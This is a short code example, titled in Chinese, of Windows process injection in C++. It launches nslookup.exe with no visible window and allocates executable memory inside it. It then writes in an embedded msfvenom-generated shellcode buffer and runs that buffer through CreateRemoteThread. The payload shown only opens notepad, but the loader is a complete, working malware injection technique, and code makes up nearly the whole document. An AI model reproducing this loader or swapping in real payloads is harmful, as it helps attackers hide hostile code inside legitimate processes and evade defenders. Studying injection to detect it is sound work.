windows下shellcode注入的例子（WriteProcessMemory+CreateRemoteThread）

#include <iostream>
#include <Windows.h>
// #include "common.h"

int main()
{
	// msfvenom -p windows/x64/exec CMD=notepad.exe -f c
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
		"\x65\x70\x61\x64\x2e\x65\x78\x65\x00";

	// Create a 64-bit process: 
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	LPVOID allocation_start;
	SIZE_T allocation_size = sizeof(shellcode);
	LPCWSTR cmd;
	HANDLE hProcess, hThread;

	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&pi, sizeof(pi));
	si.cb = sizeof(si);
	cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");

	if (!CreateProcess(
		cmd,							// Executable
		NULL,							// Command line
		NULL,							// Process handle not inheritable
		NULL,							// Thread handle not inheritable
		FALSE,							// Set handle inheritance to FALSE
		CREATE_NO_WINDOW,	            // Do Not Open a Window
		NULL,							// Use parent's environment block
		NULL,							// Use parent's starting directory 
		&si,			                // Pointer to STARTUPINFO structure
		&pi								// Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
	)) {
		DWORD errval = GetLastError();
		std::cout << "FAILED" << errval << std::endl;
	}
	WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. 

	// Inject into the 64-bit process:
	// HIGH-LEVEL WINDOWS API:
	allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL);
	CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0);
}